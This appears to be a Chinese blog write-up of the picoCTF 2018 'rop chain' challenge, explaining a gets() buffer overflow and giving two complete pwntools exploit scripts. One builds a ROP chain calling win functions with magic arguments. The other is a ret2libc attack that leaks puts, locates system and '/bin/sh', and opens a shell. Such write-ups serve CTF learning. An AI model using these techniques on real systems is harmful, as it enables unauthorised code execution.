首页 > 其他分享 >picoctf_2018_rop chain

picoctf_2018_rop chain

时间:2025-01-21 20:14:24浏览次数:1  
标签:chain puts libc p32 picoctf 2018 io rop

main里面有个gets溢出函数,再点开flag函数看
image
可以看到传入了一个a1参数,如果win1和win2都是1且a1为-559039827时会输出flag的值
image
用十六进制比较,该数的十六进制可以直接再ida里面看到
image
看到win1函数设置了win1为1,win2函数需要再传入一个参数为-1163220307那么win2就是1了
image
这个参数的十六进制为0x0BAAAAAAD

exp
from pwn import *
#io=process('./PicoCTF_2018_rop_chain')
io = remote('node5.buuoj.cn',27645)
context.log_level='debug'
flag=0x0804862B
win1=0x080485CB
win2=0x080485D8
a11=0xBAAAAAAD
a12=0xDEADBAAD
exit=0x08048470
payload=cyclic(0x18+4)+p32(win1)+p32(win2)+p32(flag)+p32(a11)+p32(a12)+p32(exit)
io.sendline(payload)
io.interactive()
记得32位传参是先填返回地址再传参

其实这题用libc也可以的

exp
from pwn import *
from LibcSearcher import *
#io=process('./PicoCTF_2018_rop_chain')
io=remote('node5.buuoj.cn',26230)
context.log_level='debug'
elf = ELF('./PicoCTF_2018_rop_chain')
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
flag=0x0804862B
payload1 = cyclic(0x18+4) + p32(puts_plt) + p32(main) + p32(puts_got)
io.sendline(payload1)
puts = u32(io.recvuntil('\xf7')[-4:])
print(hex(puts))
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = cyclic(0x18+4) + p32(system_addr) + p32(main) + p32(binsh_addr)
io.sendline(payload2)
io.interactive()

标签:chain,puts,libc,p32,picoctf,2018,io,rop
From: https://www.cnblogs.com/fdddddd/p/18684345

相关文章

  • [Deep Learning] 使用keras创建多层感知机神经网络模型并添加dropout正则化策略优化银
    内容实现概述本文主要讲述使用keras库内置的Sequential(序列)模型,实现银行客户流失率预测,它属于一个二分类问题(因为针对单个客户来说,他要么已流失要么未流失)。具体实现过程如下:导入所需库:预先导入nump、pandas、sklearn以及keras库导入数据:使用pandas库的文件解析方法read_csv(......
  • Vue3 在defineProps中某个属性的默认值使用多语言i18n 异常defineProps()` in <script
    原代码<scriptsetuplang="ts">constprops=defineProps({modelValue:{type:Array,default:[]},typeName:{type:String,default:t('TypeName')},disabled:{type:Boolean,default:false......
  • vue3 如何结构props还能响应式
    在Vue3.5及其更新版本中,确实引入了一些改进,使得解构props并保持响应性变得更加简单。具体来说,Vue3.5引入了对setup函数中的props解构的原生支持,通过编译时优化确保解构后的变量仍然是响应式的。Vue3.5中直接解构props在Vue3.5及以上版本中,你可以直接在setup......
  • vue3 setup函数 有哪些参数,props、{attrs,slots,emit}等
    在Vue3中,setup函数是CompositionAPI的入口点,用于替代传统的data、methods、computed等选项。setup函数可以接收两个参数:props和context。下面详细解释这两个参数及其用途。setup函数签名import{SetupContext}from'vue';exportdefault{props:{//......
  • [使用 Anthropic 管理员 API 自动管理组织资源]
    使用Anthropic管理员API自动管理组织资源在现代企业环境中,组织资源的管理是一个复杂且资源密集的任务。Anthropic提供的管理员API使得资源管理更加高效和自动化。本文将深入探讨如何使用管理员API来管理组织的成员、工作空间和API密钥。技术背景介绍Anthropic......
  • 使用Anthropic API的Python和TypeScript SDK快速入门
    在当今AI驱动的应用程序中,如何高效地调用强大的AI模型是开发人员面临的重要任务之一。Anthropic提供的Python和TypeScriptSDK,使得集成其AIAPI变得无比简单。无论你是通过AmazonBedrock还是GoogleCloudVertexAI进行开发,AnthropicSDK都为你提供了流畅的使用体验。技术......
  • [HarekazeCTF2019]baby_rop2(read的libc)
    一个normal的栈溢出,没有system和binsh,为ret2libc这里也没有常见的write和puts,所以我们用read泄露libc基址,并使用printf打印read的地址这里注意printf的第一个参数必须是格式字符串,即WelcometothePwnWorldagain(地址为0x0400770,第二个参数设为read_got(got表泄露)再找一下6......
  • 在js中attribute和property的区别是什么?
    在JavaScript和前端开发中,HTML元素的"attributes"和"properties"经常会被提及,它们虽然相关,但有着明显的区别。定义:Attributes:是定义在HTML标签中的特性(例如,<inputtype="text"value="hello">中的type和value就是attributes)。它们总是在HTML源代码中可见,并且通常用于初始化元......
  • Origin2018软件安装详细步骤(百度网盘)
    软件简介:Origin2018是由OriginLab公司开发等我,一款功能强大的科学绘图与数据分析软件,具有丰富的绘图模板、全面的数据分析功能以及便捷的操作方式。安装环境:Win11/Win10/Win8/Win7 百度网盘链接:https://pan.baidu.com/s/1Yxu6Iuo8LoQ685QD6TKHKQ 提取码:63e3安装......
  • spring项目使用@PropertySource("classpath:jdbc.properties")失效
    本人环境,java17,spring6.2.1在尝试将springxml方式全部换为注解和java类的方式的时候发现@PropertySource+@Value方式不能够正常读取注入resources下的properties文件内容后续研究后解决往ioc中加入beanPropertySourcesPlaceholderConfigurer,并配置location,最后在需要使用p......